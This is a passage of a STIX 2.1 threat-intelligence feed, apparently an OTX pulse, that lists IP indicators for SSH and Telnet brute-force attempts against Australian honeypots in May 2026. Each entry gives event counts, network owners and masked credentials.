      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--11a0fa3f-a3ce-493a-bb62-aa22804f24d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.30.142.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--2874cc91-1bf5-4829-a5ea-68e2fb0c7e97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.32.138.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--f5bbb0a7-849d-4be0-a636-d9a37cdb0001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--878e0e21-288a-4777-9325-15761866183c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.16.128.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--4e4aaa2d-5cfd-42ad-a9ee-c972baf4d64c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.250.127.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--83cc5f4e-5361-4b80-85ca-4c4c0a206808",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.193.211.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f4e244ce-8d18-4189-9aa4-afb7fdda54e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--3eb4e3e2-6a32-45c2-9bad-ca28ab16f582",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.2.236.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--2bc8e0ef-cd3c-48ea-9ba3-1347fc26733f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.248.168.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***m, c***d, c**l. Passwords observed (masked): !**********e, 1**1, ***, 1**********E, 3***********4.",
      "id": "indicator--6b4706ce-505d-417e-8264-5fc1cc2abafa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--baa272ae-9afa-4e97-9235-e41232300883",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.57.9.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited.. Usernames observed (masked): o****7, 3**********4, r**t. Passwords observed (masked): .**., 3***********4, 3**********4, P******d.",
      "id": "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.50.227.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--8ac76e8e-5a29-453f-b56b-68c48bb6f976",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.50.162.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, w**k, 3**********4, c***d, c**l. Passwords observed (masked): $**********(, 1******0, 3***********4, 3**********4, W*********7.",
      "id": "indicator--5d707458-a8e9-4a30-9d06-770df9a2b8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.183.21.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--44af38c3-3566-4fba-945f-0d305f30f2fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.34.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--3dd2800a-7803-403a-befd-7e7211699c41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.33.90.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268485. Organisation(s): Fibrativa Telecomunicacoes - Eireli - ME. Usernames observed (masked): h*****t, 3**********4, h***a. Passwords observed (masked): 3***********4, 3**********4, h*****t, h***a.",
      "id": "indicator--698e4d60-baae-46df-b9fe-fdd03492c27a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.162.8.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213230. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): c***d, 3**********4, a***n, u****u. Passwords observed (masked): 1********t, 3***********4, 3**********4, W*********7, a****3.",
      "id": "indicator--4ba16c37-b12f-4cfa-a807-a1a1798c8154",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.161.132.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): k***n, r**t. Passwords observed (masked): ***, f********************@.",
      "id": "indicator--a8c450c8-5277-40a3-9c5e-bb95de5e2e32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.47.238.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:15:11.000Z",
      "valid_until": "2026-06-26T07:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--91939d0d-501d-4e60-9550-8d52f389267e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.215.165.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--57d24e1a-7c65-45c2-a11d-caed97b8e09d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.45.50.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--81c95f9a-982c-430c-ba3d-76bbc5ac2106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.217.62.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZW. ASN(s): 37204. Organisation(s): TELONE. Usernames observed (masked): r**t, 3**********4, m******r, t**t. Passwords observed (masked): 1**4, 1******q, 1******t, 3***********4, 3**********4.",
      "id": "indicator--c539abe4-5e24-4809-8442-223b771cdb0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.221.232.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--1c8c022b-a1aa-4456-a272-614576784f47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.236.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): u***2. Passwords observed (masked): u***2.",
      "id": "indicator--4b06baba-3aa2-467d-ba05-4cabb60d5d10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.207.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 21021. Organisation(s): Multimedia Polska Sp. z o.o..",
      "id": "indicator--d2346f83-6f8f-45b8-b980-51baa964be84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.228.73.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 58322. Organisation(s): Hala Al Rafidain Company for Communications and Internet LTD..",
      "id": "indicator--a1215978-bd28-4704-9dd0-08611778f4bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.106.40.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:15:10.000Z",
      "valid_until": "2026-06-26T08:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): r**t. Passwords observed (masked): r********6, ?***************-.",
      "id": "indicator--4ef45cf9-8d5c-4d66-a566-939f8815a309",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.237.36.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f748539d-e445-41c0-8955-76f5a3b4c876",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--995da414-c384-4901-9cf0-307c98f54600",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.131.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--22df51cc-0773-4a7d-b08b-c55cbcc4cfd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.219.110.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--cf456129-f016-4b51-aaff-d3f897f85f02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.123.142.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 41820. Organisation(s): New Information Systems PP.",
      "id": "indicator--dfe65d66-498b-4b9c-86af-dd093ad5d4e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.34.172.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--3a91192c-649b-462e-a335-07feb61c5d58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.53.240.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:15:12.000Z",
      "valid_until": "2026-06-26T09:15:08.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t, a**z, u****u, 3**********4, c***d. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******4, P***********5.",
      "id": "indicator--67ce2655-f1a7-4b16-b08d-b6724b8ebed0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
